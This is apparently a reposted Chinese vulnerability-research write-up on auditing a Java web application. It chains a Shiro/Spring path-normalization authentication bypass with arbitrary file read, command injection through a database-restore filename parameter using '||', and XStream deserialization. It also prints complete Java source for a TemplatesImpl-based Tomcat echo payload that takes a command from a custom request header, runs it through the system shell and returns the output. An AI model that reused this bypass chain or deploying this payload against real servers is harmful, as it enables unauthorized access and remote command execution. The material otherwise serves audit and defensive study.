文章作者:奇安信攻防社区( 中铁13层打工人)
文章来源:https://forum.butian.net/share/4131
1►
权限绕过
该项目使用了shiro进行权限验证
查看依赖版本,发现该版本配合spring存在认证绕过漏洞
shiro通过org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain来匹配路由和过滤器
public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) {FilterChainManager filterChainManager = this.getFilterChainManager();if (!filterChainManager.hasChains()) {return null;} else {String requestURI = this.getPathWithinApplication(request);if (requestURI != null && !"/".equals(requestURI) && requestURI.endsWith("/")) {requestURI = requestURI.substring(0, requestURI.length() - 1);}Iterator var6 = filterChainManager.getChainNames().iterator();String pathPattern;do {if (!var6.hasNext()) {return null;}pathPattern = (String)var6.next();if (pathPattern != null && !"/".equals(pathPattern) && pathPattern.endsWith("/")) {pathPattern = pathPattern.substring(0, pathPattern.length() - 1);}} while(!this.pathMatches(pathPattern, requestURI));return filterChainManager.proxy(originalChain, pathPattern);}}
http请求的路由通过getPathWithinApplication方法获取,最终调用org.apache.shiro.web.util.WebUtils#getRequestUri方法
public static String getRequestUri(HttpServletRequest request) {String uri = (String)request.getAttribute("javax.servlet.include.request_uri");if (uri == null) {uri = request.getRequestURI();}return normalize(decodeAndCleanUriString(request, uri));}
该方法核心是decodeAndCleanUriString和normalize两个方法来处理请求url
-
decodeAndCleanUriString: 主要是讲;之前的路径保留而舍弃之后的部分,即/aa/..;/bbb被处理为/aa/..
-
normalize
-
替换反斜线
-
替换 // 为 /
-
替换 /./ 为 /
-
替换 /../ 为 /
单看好像都没问题但是组合起来就丸辣。比如我们配置shiro的拦截配置
map.put("/home/**","anon"); //anon 表示未授权访问map.put("/admin/*","authc"); //authc 表示需要权限认证shiroFilterFactoryBean.setFilterChainDefinitionMap(map);
要是我们构造/home/..;/admin/xxx ,shiro通过上述操作获取到的URI为/home/..,会命中”/home/**”,”anon”从而不进行认证。
当shiro放行请求后会交给spring处理,而在spring中对于请求路径又有自己的处理逻辑
其在org.springframework.web.util.UrlPathHelper中存在spring实现的getRequestUri方法
public String getRequestUri(HttpServletRequest request) {String uri = (String)request.getAttribute("javax.servlet.include.request_uri");if (uri == null) {uri = request.getRequestURI();}return this.decodeAndCleanUriString(request, uri);}
然后通过decodeAndCleanUriString来处理请求url
private String decodeAndCleanUriString(HttpServletRequest request, String uri) {uri = this.removeSemicolonContent(uri);uri = this.decodeRequestString(request, uri);uri = this.getSanitizedPath(uri);return uri;}
其中的三个方法主要是过滤;、urldecode和过滤//,最终的/home/..;/admin变成/home/../admin定位到admin的路由。
整体的流程就是
-
客户端请求URL: /home/..;/admin/index
-
shrio 内部处理得到校验URL为 /home/..,校验通过
-
spring 处理 /home/..;/admin/index , 请求 /admin/index, 成功访问鉴权接口
2►
任意文件读取
我们找一个漏洞来测试一下鉴权绕过,有关文件加载操作的类和方法主要有
FileFileInputStreamBufferedInputStreamInputStreamgetNamereadwritegetFilegetWriterdownload (危险的路由名)...
根据上述思路,我们找的在xxxLogController,找的了download方法
public void download(String path, HttpServletRequest request, HttpServletResponse response) {try {File file = new File(path);String filename = file.getName();InputStream fis = new BufferedInputStream(new FileInputStream(path));byte[] buffer = new byte[fis.available()];fis.read(buffer);fis.close();response.reset();response.addHeader("Content-Disposition", "attachment;filename=" + new String(filename.replaceAll(" ", "").getBytes("utf-8"), "iso8859-1"));response.addHeader("Content-Length", "" + file.length());OutputStream os = new BufferedOutputStream(response.getOutputStream());response.setContentType("application/octet-stream");os.write(buffer);os.flush();os.close();} catch (Exception var9) {this.logger.error("下载文件失败", var9);}}
其根据传入fileName直接获取文件内容返回给response。
复现
直接访问会跳转登录页
利用/..;/进行绕过
成功读取到目标文件,证明鉴权绕过可行。
3►
命令执行
既然看到读取如此简单,那我们再扩大危害看看有没有可以RCE点。
查找Runtime.getRuntime方法的调用,找的了exeCommand方法实现
private void exeCommand(String command) throws IOException {logger.info("MySQL数据库正执行命令:" + command);Runtime runtime = Runtime.getRuntime();Process exec = runtime.exec(command);try {exec.waitFor();} catch (InterruptedException var5) {logger.error("MySQL数据库执行命令出错:" + var5.getMessage(), var5);}}
因为是私有方法,直接同类中向上找的了调用方法
public void doRestore(String fileName) {String sqlFile = fileName;...if (osName.toLowerCase().startsWith("windows")) {mysqldump = "cmd /c \"" + this.mysqlPath + "mysql\"";} else {mysqldump = this.mysqlPath + "mysql";}StringBuffer sbCommand = new StringBuffer();sbCommand.append(mysqldump).append(" -u").append(this.username).append(" -p").append(this.password).append(" -h").append(this.host).append(" -P").append(this.port).append(" -B ").append(this.database).append(" < ").append(this.exportPath + sqlFile);try {this.exeCommand(sbCommand.toString());} catch (IOException var6) {}}
构造的执行语句为:
cmd /c mysqlPath/mysql -u UserName -p Password -h host -P xx -B xx < sqlFile
而其中sqlFile是通过参数传入fileName的,这里可以用||来绕过执行任意命令
该类属于Service层,我们要找到Controller层对其的调用,利用jar-analyzer工具的表达式搜索
#method.isStatic(false).hasClassAnno("Controller").hasAnno("RequestMapping").hasField("backupService")
该表达式是寻找一个方法,其不是静态方法,类注释为Controller,方法注释为RequestMapping(表示是一个http接口),并且存在变量名为backupService(遵循该系统service层定义命名规律)。
最终找到如下方法
({"/restore"})@ResponseBodypublic String doRestore( String fileName) {try {this.backupService.doRestore(fileName);} catch (Exception var3) {var3.printStackTrace();throw new CommonException(var3.getMessage());}return I18n.i18nMessage("adp_db.success ");}
复现
构造poc测试,成功访问
4►
技术细节
查看shiro过程中看到了几个低版本组件,比如xstream,我们用jar-analyzer查找例如fromXML等触发反序列化的方法
在WechatxxxService类中找的一处调用
可以看到对整个request body进行了fromXML转换,因为时Service层我们还是可以通过之前方法快速找的controller层的调用
复现
利用woodpecker生成poc
访问接口构造请求,成功接受到请求
这样似乎不太完美,我们尝试构造回显
回显
对于tomcat下构造回显链主要是找到全局存储了request和response的类,通过tomcat启动时线程中的变量一步步反射获得request和response变量
基于全局存储思路出现了两种获取request和response的方法:
方法一:通过 WebappClassLoaderBase来获取 Tomcat 上下文的联系,进而获取AbstractProtocol$ConnectoinHandler(不适用Tomcat7)
WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response
方法二:通过遍历线程获取 NioEndpoint,进而获取AbstractProtocol$ConnectoinHandler(适用于Tomcat7/8/9)
Thread.currentThread().getThreadGroup() —> NioEndpoint$Poller —> NioEndpoint—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response
两种方法的区别在于用了不同的方法获取AbstractProtocol$ConnectoinHandler
通过Thread.currentThread().getThreadGroup() 获取到全部线程中有关线程有:
-
http-nio-8080-Acceptor 在学习tomcat整体架构的时候,稍微了解过Acceptor这个组件,他是用来处理用户发过来的请求的,然后不涉及具体的处理,直接转发给worker线程去处理
-
http-nio-8080-exec* 这里有10个类似的线程,和上面的Acceptor,其实就是worker线程,用来处理具体的逻辑
-
http-nio-8080-Poller 该线程用于处理网络i/o,有请求时,发送到对应的Processor进行处理
其中Acceptor和Poller线程用于协议解析处理
所以除了网上常见的通过http-nio-port-Poller获取成员变量NioEndpoint$Poller,然后通过$this0获取到父类对象NioEndpoint外,还可以通过http-nio-8080-Acceptor来获取
在org.apache.tomcat.util.net.Acceptor存在构造方法
public Acceptor(AbstractEndpoint<?, U> endpoint) {this.state = Acceptor.AcceptorState.NEW;this.endpoint = endpoint;}
传入AbstractEndpoint类型的对象赋值给endpoint成员变量,而我们所要找的NioEndpoint继承自该类,且通过调试
创建Acceptor线程时初始化传入变量确实NioEndpoint类型
详细链路如下:
Thread.getThreads ---> http-nio-8080-Acceptor ---> endpoint(NioEndpoint) ---> handler(AbstractProtocol$ConnectoinHandler) ---> global(RequestGroupInfo) ---> RequestInfo--->Request --->Response
代码实现如下:
package org.apache.ha;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import java.io.InputStream;import java.io.Writer;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.Scanner;public class HttpUtil extends AbstractTranslet {private String getReqHeaderName() {return "Accept-Hkdxgumzuw";}public HttpUtil() {run();}private void run() {Field var3;Field var32;Field var33;String var7;try {Method var0 = Thread.class.getDeclaredMethod("getThreads", new Class[0]);var0.setAccessible(true);Thread[] var1 = (Thread[]) var0.invoke(null, new Object[0]);for (int var2 = 0; var2 < var1.length; var2++) { // 遍历线程池,找的http-nio-8080-Acceptor线程if (var1[var2].getName().contains("http") && var1[var2].getName().contains("Acceptor")) {Field var34 = var1[var2].getClass().getDeclaredField("target");var34.setAccessible(true);Object var4 = var34.get(var1[var2]); //获取NioEndpoint对象try {var3 = var4.getClass().getDeclaredField("endpoint");} catch (NoSuchFieldException e) {var3 = var4.getClass().getDeclaredField("this$0");}var3.setAccessible(true);Object var42 = var3.get(var4); //获取AbstractProtocol$ConnectoinHandler对象try {var32 = var42.getClass().getDeclaredField("handler");} catch (NoSuchFieldException e2) {try {var32 = var42.getClass().getSuperclass().getDeclaredField("handler");} catch (NoSuchFieldException e3) {var32 = var42.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");}}var32.setAccessible(true);Object var43 = var32.get(var42);try {var33 = var43.getClass().getDeclaredField("global");} catch (NoSuchFieldException e4) {var33 = var43.getClass().getSuperclass().getDeclaredField("global");}var33.setAccessible(true);Object var44 = var33.get(var43);var44.getClass().getClassLoader().loadClass("org.apache.coyote.RequestGroupInfo");if (var44.getClass().getName().contains("org.apache.coyote.RequestGroupInfo")) {Field var35 = var44.getClass().getDeclaredField("processors");var35.setAccessible(true);ArrayList var5 = (ArrayList) var35.get(var44);int var6 = 0;while (true) {if (var6 < var5.size()) {Field var36 = var5.get(var6).getClass().getDeclaredField("req");var36.setAccessible(true);Object var45 = var36.get(var5.get(var6)).getClass().getDeclaredMethod("getNote", Integer.TYPE).invoke(var36.get(var5.get(var6)), 1);try {var7 = (String) var36.get(var5.get(var6)).getClass().getMethod("getHeader", String.class).invoke(var36.get(var5.get(var6)), getReqHeaderName());} catch (Exception e5) {}if (var7 == null) {var6++;} else {Object response = var45.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(var45, new Object[0]);Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]);writer.write(exec(var7));writer.flush();writer.close();break;}}}}}}} catch (Throwable th) {}}private String exec(String cmd) {try {boolean isLinux = true;String osType = System.getProperty("os.name");if (osType != null && osType.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\a");String execRes = "";while (s.hasNext()) {execRes = execRes + s.next();}return execRes;} catch (Exception e) {return e.getMessage();}}}
而在AbstractProcessor中的request和response其实是org.apache.coyote下的,但是回显的话需要org.apache.catalina.connector.Request这个类。
这两个Request有啥区别:
-
org.apache.catalina.connector.Request主要用于表示已解析的HTTP请求,并提供方法供上层模块访问请求信息
-
org.apache.coyote.Request主要用于底层网络请求的处理和解析。
在org.apache.coyote.Request 类中有一个方法返回org.apache.catalina.connector.Request 类
但是存储org.apache.catalina.connector.Request 类对象的notes数组第一个元素为null,第二个才是我们要找的Request对象
故反射调用getNote时传参为1:
Object var45 = var36.get(var5.get(var6)).getClass().getDeclaredMethod("getNote", Integer.TYPE).invoke(var36.get(var5.get(var6)), 1);
因为我们本次xstream反序列化所用到的poc是利用TemplatesImpl类,
其在加载class后检测这个类是不是继承自AbstractTranslet,所以我们需要添加继承关系。
我们将其class数据转为base64,然后替换之前生成的poc中byte-array的内容
成功回显出执行的命令
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END














暂无评论内容